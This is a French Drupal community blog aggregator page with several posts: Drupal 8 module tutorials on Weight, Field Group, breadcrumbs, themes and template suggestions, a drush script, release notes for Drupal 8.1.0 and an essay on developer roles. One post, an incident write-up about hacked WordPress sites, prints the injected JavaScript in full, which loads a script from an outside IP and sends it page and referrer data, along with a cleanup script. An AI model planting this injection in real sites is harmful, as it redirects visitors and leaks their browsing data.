Planète

Par Kgaut
Adhérent
Kevin Gautreau

Module Drupal 8 - Weight pour trier les contenus

Le module weight permet d'ajouter un attribut de "poids" au contenu qui peut être utilisé dans les listing pour les ordonner comme l'on veut.

La version 8 s'intègre très bien avec views et permet d'avoir un réordonnancent en backoffice sur un listing de contenu. (ce qui pouvait être obtenu sous drupal 7 avec la combinaison weight + draggable views)

Installation du module

"À l'ancienne" en téléchargeant la dernière version sur drupal.org : https://www.drupal.org/project/weight

ou via composer avec composer require drupal/weight.

La version 8.x-3.0 du module est sortie, mais à ce jour elle nécessite 3 patches pour fonctionner correctement :

Si vous utilisez composer pour gérer vos modules, voici la section à ajouter à votre fichier composer.json pour patcher le module automatiquement :

  // Dans la section "extra"      
  "patches": {
            "drupal/weight": {
                "Strict warning: Non-static method ": "https://www.drupal.org/files/issues/weight-non-static-method-2671844-3.patch",
                "Views widget assumes that weight field name is named 'field_weight'": "https://www.drupal.org/files/issues/weight-views-field-name-2687953-0.patch",
                "Weight selector missing": "https://www.drupal.org/files/issues/weight-show-selector-2671840-4.patch"
            }
        }

Plus d'informations sur la gestion des patchs via composer ici.

Configuration du tri

Première chose à faire, ajouter un champ de type "Poids" au type de contenu / entité que l'on souhaite trier :

Vous pourrez ensuite configurer le range qui par défaut est de 20 (donc possibilité de trier de -20 à +20) vous pouvez l'augmenter si vous avez beaucoup de contenu.

Maintenant nous allons utiliser créer une vue d'administration pour pouvoir "drag'n'droper" les contenus pour en changer le poids.

Il faut utiliser le format "Tableau" et bien penser à limiter au type de contenu que l'on souhaite trier :

Ajoutons aux champs, le champs "poids" que nous avons créé, afin d'avoir la petite flèche multidimensionnelle pour réordonner. Attention il faut bien prendre l'élément "Selector" si l'on sélectionne l'autre, alors on aura juste une cellule dans le tableau nous indiquant le poids du contenu, ce n'est pas ce que l'on veut ici :

Deuxième chose à faire, ajouter un critère de tri sur ce champ :

Évidement il faudra trier par poids croissant (un contenu avec un poids de -10 doit être placé avant celui qui a un poids de 10).

Réordonnez les critères de tri pour mettre le tri par poids en premier :

Enregistrez votre vue et rendez-vous sur la page crée, vous pouvez maintenant réordonner vos contenus comme vous le souhaiter, en pensant bien à enregistrer.

Enfin, pensez bien à modifier vos vues front pour prendre en compte le critère de tri maintenant existant (de la même façon que nous l'avons créé dans la vue backoffice.)

Par Kgaut
Adhérent
Kevin Gautreau

Drupal 8 - Définir un fil d'Ariane personnalisé

Drupal 8 améliore grandement la manière de gérer le fil d'Ariane (ou breadcrumbs en Anglais). Dans ce post nous allons voir comment définir un fil d'Ariane pour les contenus d'un type particulier.

Ici nous considérerons que :

  • Le type de contenu s'appellera "Témoignage", son nom machine sera "temoignage"
  • Mon module s'apelle "temoignages_module"
  • J'ai une page de listing définie par un controller dont la route sera temoignages.page_listing.

Ces éléments seront à adapter en fonction de vos besoins.

Définitions du service

S'il n'existe pas, créer le fichier temoignages_module.services.yml et ajouter le contenu suivant :

services:
  temoignages_module.breadcrumb.temoignage:
    class: Drupal\temoignages_module\Breadcrumb\TemoignagesBreadcrumb
    tags:
      - { name: breadcrumb_builder, priority: 100 }

Implémentation du service

Toujours dans le module, créer le fichier "TemoignagesBreadcrumb.php" dans le dossier : src/Breadcrumb du module temoignages_module, et y coller le contenu suivant :

<?php

namespace Drupal\temoignages_module\Breadcrumb;

use Drupal\Core\Breadcrumb\BreadcrumbBuilderInterface;
use Drupal\Core\Routing\RouteMatchInterface;
use Drupal\Core\Link;
use Drupal\Core\Breadcrumb\Breadcrumb;

class TemoignagesBreadcrumb implements BreadcrumbBuilderInterface {

  public function applies(RouteMatchInterface $route_match) {
    if ($route_match->getCurrentRouteMatch()->getRouteName() == 'entity.node.canonical') {
      $node = $route_match->getParameter('node');
      if ($node->getType() == 'temoignage') {
        return TRUE;
      }
    }
    return FALSE;
  }

  public function build(RouteMatchInterface $route_match) {
    $breadcrumb = new Breadcrumb();
    $breadcrumb->addCacheContexts(['route']);
    $links = [];
    $links[] = Link::createFromRoute(t('Home'), '<front>');
    $links[] = Link::createFromRoute(t('Tous les témoignages'), 'temoignages_module.page_listing');
    return $breadcrumb->setLinks($links);
  }
}

En détails

La première méthode applies doit retourner TRUE ou FALSE en fonction de si on est dans un cas ou notre breadcrumb personnalisé doit être appliqué.

Je vérifie pour commencer que je suis en train de visualiser une node :

$route_match->getCurrentRouteMatch()->getRouteName() == 'entity.node.canonical'

Si c'est le cas, je récupère cette node et si elle est bien du type "temoignage" je retourne TRUE

      $node = $route_match->getParameter('node');
      if ($node->getType() == 'temoignage') {
        return TRUE;
      }

Sinon je retourne FALSE.

Enfin, la méthode build, comme son nom l'indique construit le fil d'Ariane, qui consiste en fait en un tableau de liens.

Je commence par mettre un tag de cache à mon fil d'Ariane en lui disant qu'il dépend de la route.

$breadcrumb->addCacheContexts(['route']);

Je construis ensuite mon tableau de liens, qui en sera constitué de deux, le premier vers la page d'accueil et le second vers ma page de listing :

    $links = [];
    $links[] = Link::createFromRoute(t('Home'), '<front>');
    $links[] = Link::createFromRoute(t('Tous les témoignages'), 'temoignages_module.page_listing');
    return $breadcrumb->setLinks($links);

Et... c'est tout, plus qu'à reconstruire le cache et vous pourrez vérifier que votre fil d'Ariane fonctionne bien

Vous trouverez plus d'exemple dans les sources de mon module de pronostics : https://github.com/mespronos/mespronos/tree/8.x-1.x/src/Breadcrumb, pour la définitions des services liés, c'est ici : https://github.com/mespronos/mespronos/blob/8.x-1.x/mespronos.services.yml.

Par vincent59
Vincent Liefooghe

Hack de sites Wordpress avec jquery.min.php

Depuis quelques jours, je recevais des mails de monit, indiquant un load average trop élevé sur un serveur dont je m'occupe épisodiquement (serveur de l'association Down Up).Cela m'a semblé curieux, car il  s'agit d'un serveur dédié OVH, avec un Xeon 8 coeurs, et 64 Go de RAM, qui héberge uniquement quelques sites web.Ayant eu dans le temps des problèmes de piratage de sites, j'ai regardé le nombre de messages dans la file postfix :
mailq

Oups ! plus de 23 000 messages en attente, rejetés par les plates-formes cibles.Dans les messages, le nom de l'un des sites apparaît. Il s'agit d'un Wordpress, dans une version assez ancienne. Dans les différents répertoire, on découvre des fichiers php infectés, traînant un peu partout, avec la même date : 16 novembre. Ce qui veut dire que depuis plusieurs jours, la machine est infectée.Je supprime les fichiers php infectés, et teste l'accès au site, qui semble fonctionner, mais qui redirige vers  des sites pour adultes...En y regardant plus précisément, d'autres sites ont le même comportement, alors qu'aucun nouveau fichier ne date de novembre ; pas de fichiers curieux non plus.Une recherche sur Google me donne quelques pistes. Je fouille également dans mes cookies, pour découvrir un cookie nommé __cfgoid. La recherche dans les fichiers de Wordpress me sort tous les fichiers header.php des thèmes.Une ligne de javascript a été insérée dans les fichiers : 


<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCS
tring();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(va
r e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__
cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascr
ipt" src="/%27%20%2B%20%27http%3A//80.90.43.202/js/jquery.min.php%27%20%2B%20%27?key=b64%27%20%20%20%27&utm_campaign=%27%20%20%20%27snt2014%27%20%20%20%27&utm_source=%27%20%20%20window.location_.host%20%20%20%27&utm_medium=%27%20%20%20%27&utm_content=%27%20%20%20window.location%20%20%20%27&utm_term=%27%20%20%20encodeURIComponent%28%28%28k%3D%28function%28%29%7Bvar%20keywords%20%3D%20%27%27%3Bvar_%20metas%20%3D%20document.getElementsByTagName%28%27meta%27%29%3Bif%20%28metas%29%20%7Bfor%20%28var%20x%3D0%2Cy%3Dmetas.length%3B%20x%3Cy%3B%20x%20%20%29%20%7Bif%20%28metas%5Bx%5D.name.toLowerCase%28%29%20%3D_%3D%20"keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(
/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><'
+ '/script>')));</script>
</head>

Il suffit de supprimer la ligne pour nettoyer les entêtes. J'ai développé pour cela un script shell de quelques lignes :

#!/bin/bash
# Recherche les fichiers infectes
BADFILE=$(grep -lR jquery.min.php *)
#
# pour chacun
for fic in $BADFILE ; do
  echo === Traitement de $fic ===
  echo sed -i.bak '/cfgoid/d' $fic
  sed -i.bak '/cfgoid/d' $fic
done

Le script recherche d'abord la chaine jquery.min.php dans tous les fichiers des sous-répertoires, puis pour chacun supprime la ligne contenant le nom du cookie.Un arrêt / relance du serveur http Apache permet de vider le cache php...Après nettoyage, je vais modifier les permissions pour interdire l'écriture dans les répertoires de thèmes Wordpress.Le fait que les fichiers php puissent être utilisés un peu partout dans Wordpress ne rendent pas les choses faciles.Si on compare à Drupal, dans ce dernier, seul le fichier index.php doit être appelé directement. L'appel d'un autre script php peut donc être refusé, ce qu'on fait facilement avec des règles nginx...      

Catégorie: 


Tag: 

Par Kgaut
Adhérent
Kevin Gautreau

Créer un thème personnalisé pour Drupal 8

Quand l'on travaille avec Drupal, on a rapidement besoin d'avoir un thème personnalisé ne serai-ce que pour y stocker ses templates custom et ses feuilles de styles.

Personnellement, j'ai l'habitude de faire un thème "front" et un thème "back" car j'ai souvent besoin de personnaliser le rendu de l'interface d'administration pour qu'elle convienne au mieux à mes clients.

Drupal 8 comme Drupal 7 utilise la notion de thème "parent", c'est à dire que si mon thème custom a comme parent (comme base_theme) le thème bartik, alors il reprendra toutes ses propriétés (templates, css, js...), et l'on pourra surcharger ce qui nous intéresse.

Il existe des thèmes "starter kit", on peut citer Zen (https://www.drupal.org/project/zen) par exemple qui est un des plus connu. Il s'agit en fait d'un thème parent qui propose un thème starterkit tout configuré que l'on peut ensuite personnaliser en fonction de nos besoins.

On peut aussi évidement faire ses propres thèmes custom. À noter que si vous ne prenez pas comme thème parent Bartik ou Zen, il faudra quand même prendre le thème "classy" comme parent.

Comment créer son theme ?

On va partir sur le nom de theme suivant "Mon Site Front" : on va commencer par créer le dossier mon_site_front dans le dossier /themes/custom (on pourrait le mettre directement dans /themes, mais comme pour les modules c'est une bonne pratique de différentier les élément personnalisé (custom) des éléments téléchargés (qui seront eux dans un sous-dossier "contrib").

La définition d'un thème passe, comme pour un module par un fichier mon_site_front.info.yml, en voici son contenu :

name: Mon Site Front
type: theme
description: Mon theme de demonstration
package: MonSite
core: 8.x
base theme: bartik

On doit aussi créer un fichier mon_site_front.theme, vide, qui pourra contenir plus tard nos fonction de preprocess et différents hooks.

J'ai ici pris comme thème de base "Bartik".

Une fois cela fait on passe dans le menu d'administration "Apparence" pour activer notre thème et le définir comme thème par défaut :

Pour faire un thème d'administration custom cette fois on va prendre comme base thème "Seven" :

name: Mon Site Back
type: theme
description: Mon theme de demonstration Backoffice
package: MonSite
core: 8.x
base theme: seven

Cette fois dans le menu Apparence, on devra installer le thème puis le définir comme thème d'administration :

Un thème d’administration que je trouve très sympa et qui me sert de thème parent est Adminimal (https://www.drupal.org/project/adminimal_theme).

Drupal Console permet aussi de générer des thème, via la commande drupal generate:theme, et il demande de quel thème parent notre thème custom doit hériter.

Vous pouvez retrouver les maigres sources de ce post sur github :

Par Kgaut
Adhérent
Kevin Gautreau

Module Drupal 8 - Field Group

Avec un contenu personnalisé dans drupal, on peut rapidement se retrouver avec des dizaines et des dizaines de champs dans le formulaire de création de contenu. Field Group est un module drupal 7 et 8 qui permet de les réorganiser, via l'interface d'administration en "groupes", qui peuvent être au choix, des fieldset, des onglets, des acordéons... et ainsi avoir un formulaire plus propre et plus clair pour celui qui devra ensuite créer/modifier les contenus.

Ainsi, dans l'exemple suivant, j'ai créé un groupe qui sera le conteneur de mes deux onglets (il y en a trois en réalité mais je ne voulais pas faire un screenshot de 15km de haut)

 

Et voici le rendu sur le formulaire de création de contenu :

et quand on sélectionne un autre onglet :

Bref, un module indispensable quand l'on veut faire des formulaires bien propres ! Mais il permet aussi de faire des groupes de champs pour l'affichage en front.

La page du module : https://www.drupal.org/project/field_group

Installation avec composer :

composer require drupal/field_group

 

Par Artusamak
Julien Dubois

Les nouveautés de Drupal 8.1.0

Les nouveautés de Drupal 8.1.0

DuaelFr
lun 28/11/2016 - 09:30

Mieux vaut tard que jamais. Avec le nouveau modèle de numérotation des versions de Drupal est apparue la possibilité d'ajouter des fonctionnalités pendant la vie d'une version majeure. Alors que nous fêtons le premier anniversaire de Drupal 6 et que Drupal 8.1.0 a déjà plus de 6 mois, il est plus que temps de faire le point sur les nouveautés que cette version a apporté pour la plupart sous la forme de modules expérimentaux.

BigPipe

Il y a 8 mois de ça, dans mon article sur l'incroyable cache de Drupal 8, j'évoquais déjà l'existence du module BigPipe, inspiré de la technique inventée par Facebook pour permettre aux utilisateurs de voir un premier rendu de la page, même incomplet, bien plus rapidement et ainsi avoir la sensation que le site se charge plus rapidement. En deux mots, cette technique repose sur le fait de remplacer les parties de la page complexes à calculer par des espaces vides et de les remplacer à la volée après que le contenu principal a été chargé.

La grande nouveauté à propos de ce module est simplement qu'il a été intégré dans le cœur de Drupal et permet donc à tou⋅te⋅s les courageux/ses d'en bénéficier à leurs risques et périls.

Inline Form Errors

Afin de satisfaire les exigences de la norme WCAG en terme d'accessibilité, Drupal a fait le choix de rassembler toutes les erreurs survenues à la soumission d'un formulaire dans un seul message en haut de page. En effet, il est important pour les personnes souffrant de problèmes visuels et utilisant un lecteur d'écran d'avoir un point d'entrée unique pour comprendre pourquoi leur soumission ne s'est pas déroulée comme prévu. Pour les personnes n'ayant pas ce type de problème, l'ergonomie de ce rassemblement de messages laisse à désirer car il est difficile de comprendre le contexte lié aux erreurs.

Avec Inline Form Errors il est désormais possible de proposer des messages ciblés tout en maintenant l'accessibilité. Ce module dispose chaque message à proximité du champ ayant généré l'erreur et utilise la zone centralisée, destinée aux malvoyants, pour afficher un message d'erreur générique pourvu de liens renvoyant vers chaque champ à corriger.

Illustration des différences entre les erreurs sans et avec le module Inline Form Errors

Migrate, Migrate Drupal et  Migrate Drupal UI

Note : Migrate Drupal UI s'appelait à l'origine Drupal Upgrade UI mais a été renommé pour des raisons de cohérence.

L'une des promesses du développement de Drupal 8 était de permettre de simplifier la mise à jour d'un site en Drupal 6 ou 7 vers Drupal 8. Malheureusement, la complexité d'une telle tâche n'a pas permis aux contributeurs de fournir les outils nécessaires à temps pour la sortie de la version stable. Tout d'abord, en lieu et place de l'ancienne méthode de montée de version, il a été décidé de s'appuyer sur le module Migrate, présent dans l'écosystème depuis déjà plusieurs années, en l'étendant pour qu'il soit en mesure de traiter nativement toutes les données nécessaires. 

Avec Drupal 8.1.0, les équipes de développement du cœur ont enfin eu le temps de finaliser une première version de ces outils et de les intégrer. Cette suite de modules sert donc de socle aux équipes de développement et permet même de convertir la configuration et le contenu d'un site très simple sans une ligne de code. En prime, la présence de Migrate dans le cœur permet également de procéder à des imports de contenus venant d'autres sources comme d'un autre CMS ou d'une base de données indépendante. Dans ce dernier cas, on s'appuiera volontiers sur des modules contribués comme Migrate Source CSV, Migrate Plus et Migrate Tools pour aller encore plus loin.

Pour en savoir plus, vous pouvez consulter le replay du webinar sur les problématiques liées à la migration de contenu et à la montée de version que nous avons tenu par deux fois en collaboration avec Kaliop.

Capture d'écran de la page de récapitulatif des capacités de migration pour un projet donné

Autres améliorations diverses

Outre ces quelques modules expérimentaux, le reste des fonctionnalités de Drupal a continué d'évoluer afin de proposer des nouveautés qui, même si elles semblent parfois minuscules, contribuent à se rapprocher des besoins de notre industrie.

Choix de la langue lors de l'installation

Cette fonctionnalité qui devait être présente dès Drupal 8.0.0 avait été désactivée en raison d'un trop grand nombre de bugs. Depuis Drupal 8.1.0 il est donc possible d'installer Drupal directement dans une autre langue que l'anglais, en profitant des traductions de la communauté.

Choix de la langue dans l'éditeur de texte riche

Certains sites jonglent dans une même page entre plusieurs langues. Dans le but de satisfaire aux exigences des normes d'accessibilité, il est important de pouvoir spécifier qu'une partie du contenu est dans une autre langue que la page. Ce nouveau plugin pour l'éditeur de texte riche propose de choisir la langue du texte en cours de frapper via un menu déroulant.

Capture d'écran du sélecteur de langue de l'éditeur de texte riche

Correction orthographique dans l'éditeur de texte riche

Les éditeurs de texte riche étant de petites applications, elles regorgent d'options. Cette modification est l'une des plus petites réalisées dans cette nouvelle version mais son impact est sensible. En 2 lignes de code il s'agit de permettre au navigateur d'accéder au texte inscrit dans l'éditeur pour y appliquer son système de correction orthographique.

Capture d'écran du correcteur orthographique dans l'éditeur de texte riche

Évolutions à destination des développeurs

Bien évidemment, outre les évolutions fonctionnelles, Drupal a aussi beaucoup avancé du point de vue du code et de l'expérience développeur (DX). Voici une petite liste non exhaustive des nouveautés que l'on peut retrouver dans cette version :

 

À suivre avec les nouveautés de la version 8.2.0… dans moins de 6 mois c'est promis ;)

 

Photo de couverture © Frank Taillandier

Par flocondetoile
Adhérent

Créer des formulaires facilement avec Drupal 8

Nous disposons de plusieurs solutions avec Drupal 8 pour concrétiser, sans déboire, tout type de formulaire : du simple formulaire de contact au formulaire conditionnel multi-étapes. Vous trouverez dans ce billet la présentation faite sur les solutions disponibles, avec un focus particulier sur YAML Form, lors du meetup Drupal Lyon du 17 novembre 2016.

Par Kgaut
Adhérent
Kevin Gautreau

Les suggestions de templates dans Drupal 8

Ça n'est pas une nouveauté de Drupal 8, toute partie d'une page d'une page est rendue avec un template.

Il existe un paquet de templates de base :

  • html.html.twig qui s'occupe de rendre le doctype, le contenu de la balise <head> et qui ouvre et ferme la balise <body>
  • page.html.twig lui commence là où html.html.twig s'arrête, c'est a dire l'intérieur de la balise body
  • region.html.twig pour le contenu d'une région (header, footer, content... bref les régions définie dans notre theme)
  • node.html.twig pour le contenu d'une node
  • field.html.twig pour un champ défini dans un type de contenu ou une entité
  • block.html.twig pour les blocks...

Si on prend comme exemple le template node.html.twig qui est donc utilisé pour afficher l'ensemble des noeuds (page, article...)

On peut rendre ces templates plus spécifiques, si on veut par exemple un template spécial pour les noeuds de type "article" on peut copier le fichier node.html.twig en node--article.html.twig.

Il existe aussi d'autres suggestions :

  • node--NID.html.twig en substituant NID par l'id du noeud en question
  • node--VIEW_MODE.html.twig pour utiliser un template différent si on affiche le noeud en mode "teaser" ou "full"
  • ...

On peut connaitre facilement les noms de de template possible pour un élément en activant le debug de twig et en regardant le code html de notre page :

Les suggestions de templates dans le code html

Les éléments préfixés par * sont les noms de template possible, celui préfixé par x est celui effectivement utilisé, ce sont les suggestions de template (ou template suggestions). Il en existe un paquet de base qui suffisent dans la plupart des cas, mais on peut aussi vouloir définir un template plus spécifique.

Définir sa propre suggestion de template

Pour drupal 7 on utilisait pour ça le HOOK_preprocess_HOOK, dans drupal 8 deux hooks ont étés créés : HOOK_theme_suggestions_HOOK et HOOK_theme_suggestions_HOOK_alter.

Le premier "HOOK" doit être remplacé par le nom de notre module qui implémente le hook, le second par le nom de l'élément pour lequel on veut ajouter une suggestion.

Si on a un module qui s'appelle "mon_module" et que l'on veut ajouter une suggestion de template pour les noeuds (node) alors on définira la fonction suivante :

function mon_module_theme_suggestions_node_alter(array &$suggestions, array $variables) {
  //...
}

cette fonction devra ajouter au tableau "suggestions" les nouvelles possibilités, par exemple :

function mon_module_theme_suggestions_node_alter(array &$suggestions, array $variables) {
  $suggestions[] = 'node__montemplate';
}

Note : quand on définit une suggestion de template dans le code il faut bien remplacer les "--" par des "__"

ainsi :

Le HOOK_theme_suggestions_HOOK ne fonctionne pas pour les nodes (pour une raison que j'ignore et je suis prenneur d'une explication, mais qui fonctionne pour les autres éléments.

Si on veut un template html spécifique pour le type de contenu :

function monmodule_theme_suggestions_html(array $variables) {
  $path_args = explode('/', Url::fromRoute('<current>')->getInternalPath());
  $suggestions = [];
  if(count($path_args) >=2 && $path_args[0] == 'node' && $node = Node::load($path_args[1])) {
    $suggestions[] = 'html__' .$node->getType();
  }
  return $suggestions;
}

La même chose pour "page" :

function slides_core_theme_suggestions_page(array $variables) {
  $path_args = explode('/', Url::fromRoute('<current>')->getInternalPath());
  $suggestions = [];
  if(count($path_args) >=2 && $path_args[0] == 'node' && $node = Node::load($path_args[1])) {
    $suggestions[] = 'page__' .$node->getType();
  }
  return $suggestions;
}

et pour "region" :

function slides_core_theme_suggestions_region(array $variables) {
  $path_args = explode('/', Url::fromRoute('<current>')->getInternalPath());
  $suggestions = [];
  if(count($path_args) >=2 && $path_args[0] == 'node' && $node = Node::load($path_args[1])) {
    $suggestions[] = $variables['theme_hook_original'].'__'.$variables['elements']['#region'].'__' .$node->getType();
  }
  return $suggestions;
}

note : j'ai ici utilisé la variable $variables['theme_hook_original'] qui contient le prefixe que l'on doit utiliser pour chaque template (ici "region"), la variable $variables['elements']['#region'] contient elle le nom de la région.

Voici les templates disponibles ainsi pour la région "header" quand on visualise un contenu de type "article" :

Évidement il est possible d'ajouter plusieurs suggestions pour un même élément.

 

Par Kgaut
Adhérent
Kevin Gautreau

Drupal - Script drush pour changer d'environement (développement / production)

Quand on fait des modifications sur un site Drupal on doit parfois récupérer une base de production afin d'avoir toute la configuration ainsi que les contenus à jour.

Ensuite généralement on désactive le cache, active le module devel...

Mettant en pratique l'adage comme quoi un développeur préfère passer deux heures à automatiser une tache qui ne lui prendrait que 30 secondes s'il l'effectuait manuellement, j'ai fais un script drush en ce sens.

Ce script propose deux nouvelles fonctions à appeler directement avec drush :

  • deprod : pour passer un site en mode "développement" : activation de devel, stage_file_proxy, désactivation de l’agrégation des fichiers css et js, désactivation des caches, affichage des message d'erreurs, désactivation des modules google analytics et piwik
  • reprod : pour passer un site en mode "production" : exactement l'inverse de plus haut

Ce script est interactif, pour chaque action, il vous demandera s'il doit l'effectuer ou non :

Drush deprod

Vous pouvez aussi activer le mode "YOLO" avec le paramètre -y pour effectuer toutes les actions :

Ce script est sur github : https://github.com/kgaut/drupal-snippets/blob/7.x-1.x/Drush/deprod.drush.inc.

Pour l'installer, il faut copier le fichier directement dans votre dossier .drush qui doit être dans votre dossier "home" (ou documents sous windows).

Ensuite pour l'utiliser :

drush @alias deprod

// ou

drush @alias reprod

// pour tout activer / désactiver : 

drush @alias deprod -y

// ou

drush @alias reprod -y

Ce script pour l'instant fonctionne plus avec Drupal 7, je vais l'améliorer pour qu'il puisse interagir correctement avec Drupal 8.

Je suis prenneur de toute suggestion ou idée d'amélioration.

Par flocondetoile
Adhérent

Drupal 8 et les événements

Drupal 8 dispose désormais d'une nouvelle corde à son arc pour interagir avec le coeur ou ses modules contribués : les événements, hérités directement de Symfony2. Découvrons plus en détail comment propager un événement ou y souscrire, ainsi que leurs différents cas d'utilisation.

Par Artusamak
Julien Dubois

Alors comme ça t'es développeur ?

Alors comme ça t'es développeur ?

Artusamak
mar 08/11/2016 - 15:39

A chaque fois que l'on démarre une formation, on fait un petit tour de table pour que chacun se présente et nous parle un peu de son expérience. C'est une super occasion de briser la glace et de mettre tout le monde en confiance. Pour moi c'est aussi un bon prétexte pour picorer des bribes d'informations qui me serviront à lancer la conversation par la suite et à rebondir avec mon contenu. Parmi nos pré-requis de formation (et son intitulé) figure la mention "pour développeur Drupal". Oui mais voilà, ça veut dire quoi un développeur Drupal ?

C'est là que les choses se compliquent. Dans chaque société que l'on croise, la fiche de poste du développeur Drupal a un périmètre (très) variable. Je ne suis pas sûr qu'il y ait une bonne réponse parmi tous les cas d'usage mais au final j'ai le sentiment que cela se ressent un peu sur le marché. Les (vrais) développeurs Drupal finissent par être pénalisés car noyés dans la masse. Il en va de même sur la liste des critères de l'expert Drupal.

Regardons cette petite mise en scène qui se déroule il y a 2 ou 3 ans, les deux protagonistes sont Marc, un chef d'agence web et Thomas, un développeur PHP qui a déjà sauvé l'agence plusieurs fois pour des clients clés avec des demandes un peu trop tatillonnes le week-end.

Marc : Hey Thomas, viens me voir une seconde. Tu as vu l'email que je t'ai envoyé il y a cinq minutes ?
Thomas : Hmm, oui ? A propos du site vitrine avec Durpal ?
Marc : Ouais, Drupal, ouais. Le client a demandé à ce que l'on réponde avec et j'aimerais bien que tu te lances dessus pour qu'on se fasse les pieds.
Thomas : OK.

Quelques semaines plus tard, Thomas a réussi à mettre en ligne le projet en un temps record, faisant la fierté de Marc. Nos deux compères se croisent à la machine à café.

Marc : Bravo Thomas pour ta mise en ligne, c'est super. Le client est super content et t'as bien bossé.
Thomas : Merci Marc, content que ça plaise à tout le monde.
Marc : Dis moi, on est entrain de répondre à un plus gros projet avec Sarah d'ici la semaine prochaine et on pense que Drupal fera le job, tu pourras jeter un oeil ? T'es notre expert Drupal maintenant !
Thomas : Je dois mettre en prod MonSuperBoulanger.fr d'ici 10 jours, ça va être compliqué. Il fait quoi votre site ?
Marc : Oh bah les trucs classiques, de la gestion de contenu, un moteur de recherche de ressources, on a de la gestion de groupes et peut être que l'on doit importer les contenus de l'existant.
Thomas : Ah ouais quand même, bon ça devrait le faire alors. J'ai lu que Drupal savait faire ces trucs.

La réponse de l'appel d'offre part, par chance l'agence remporte le projet et voilà Thomas qui par la force des choses enchaine son deuxième projet. D'autres suivront jusqu'à cette fin d'année 2016 où le client historique de la boite souhaite refondre son site. Drupal 8 semble être le candidat idéal pour cette refonte mais Thomas ne connaît pas encore cette nouvelle version. L'esprit éclairé qu'est Marc lui propose alors de participer à la prochaine session de formation à Drupal 8 d'Happyculture.

La session de formation démarre, 4 participants ont répondu présent, Thomas est l'un d'eux et vient son tour de se présenter.

Thomas : Je suis Thomas, 29 ans, développeur Drupal, j'ai commencé Drupal en 2014 et j'ai uniquement fait du Drupal 7. Pour cette formation, j'attends de découvrir les nouveautés de Drupal 8 et de m'imprégner des bonnes pratiques du moment.

Nous y voilà, tous les participants nous racontent plus ou moins la même chose, tout le monde est impatient de découvrir Drupal 8. Lorsque l'on pose quelques questions, ils ont tous fait du développement avec Drupal. Et puis au fur et à mesure que la formation avance, lorsque l'on parle de paramètres de formateurs de champs, de types de champs personnalisés, de contrôleurs dédiés, de handlers de views, de types d'entités personnalisés, de cache etc on se rend compte que très rarement un participant a déjà fait tout (ou une partie de) cela. Alors on s'adapte car l'une des qualités les plus importantes dans la formation c'est la capacité à s'adapter faute de quoi on risquerait de s'emporter. Alors beaucoup de ces participants se présentent comme développeurs mais le sont-ils vraiment ?

Quels profils pour une équipe

Selon moi il y a 3 métiers dans l'écosystème Drupal. Je serai ravi d'en débattre avec vous si votre avis diffère.

Profil 1 : le thémeur

C'est à mon avis, le profil le plus rare sur le marché Drupal. Il s'agit d'une personne qui fait traditionnellement de l'intégration (ou du dév front-end si l'on veut être à la mode) et qui comprend le PHP pour extraire ses variables afin de les faire remonter dans ses .tpl.php si l'on parle de Drupal 7 ou dans les .html.twig si l'on parle de Drupal 8. Sa compétence première c'est l'intégration et le développement n'est pas sa priorité mais elle y porte un intérêt relatif pour comprendre ce qu'il est possible de faire. En cas de besoin, l'équipe aide cette personne à faire ce dont elle a besoin côté PHP.

Table avec des éléments créatifs éparpillés

Profil 2 : le développeur

Le vrai développeur est celui qui va s'appuyer sur les mécanismes d'extensibilité de Drupal pour créer des nouvelles briques si besoin, faire le modèle de données de son projet, concevoir l'application et faire les choix d'architecture. Il va tordre Drupal pour créer les nouveaux modules et modifier les existants afin de faire en sorte que Drupal s'adapte aux demandes du client, on parle aussi souvent de l'écriture de glue code. C'est lui qui est impliqué sur les composants "bas niveau" du site et qui maîtrise les APIs de Drupal.

Photo d'un clavier

Profil 3 : le site builder

Compétence peu répandue, peut être spécifique aux agences Drupal. Le profil de site builder est un profil qui connait extrêmement bien les options avancées, voire cachées, des modules contribués. Il sait quel module utiliser pour quelle situation, il s'appuie sur le travail du développeur pour mettre en oeuvre les nouvelles options exposées par les développeurs. Son arme principale : sa souris. Il clic à tout va à travers les nombreux écrans de Drupal. Si le développeur n'est pas disponible, il finira très souvent par trouver un module qui fait 80% de la fonctionnalité demandée.

Tour Jenga en gros plan

La complémentarité de ces trois profils vous donne une équipe technique robuste et capable de faire efficacement des sites avec Drupal. Hormis le développeur, les deux autres profils cités sont nécessaires et recherchés, n'ayez pas peur de vous revendiquer comme l'un d'entre eux si tel est le cas, vous vous ouvrirez certainement des portes. Beaucoup de personnes rentrent dans le monde de Drupal par le monde du site building (pour ne plus en sortir, rire machiavélique).

Et l'expert Drupal dans tout ça ?

Beaucoup de "développeurs Drupal" que l'on rencontre sont des personnes qui écrivent le glue code mais qui ne vont guère au-delà sans avoir trifouillé les entrailles de Drupal. C'est pour cela que le titre de "développeur drupal" paraît toujours ambitieux lorsque l'on creuse un peu plus. Concernant le titre d'expert Drupal, là... 

Que les choses soient claires, un expert, c'est quelqu'un qui maîtrise son sujet. S'il n'a pas une connaissance avancée du fonctionnement du coeur, de la gestion des performances et de la montée en charge, de comment faire un site multilingue, des mécanismes d'extensibilité, de l'inter-connexion avec des systèmes tiers, d'un peu de sécurité et qu'il n'a pas mélangé cela au cours de plusieurs dizaines de projets. Je pense que le titre d'expert Drupal est usurpé. L'Expert Drupal n'est pas un titre que l'on attribue à celui qui a le plus de projets dans les pattes et qui existe obligatoirement dans une société. Il est tout à fait possible que vous n'en ayez pas à la maison et par respect pour le poste, vous feriez mieux d'en avoir conscience. Si tout le monde s'autoproclame expert, qui l'est vraiment ? Et comment les clients peuvent-ils faire le tri ? Les certifications sont une piste de réponse possible. En attendant, essayons tous d'appeler un chat, un chat.

Par flocondetoile
Adhérent

Améliorer l'expérience utilisateur avec le module Paragraphs sur Drupal 8

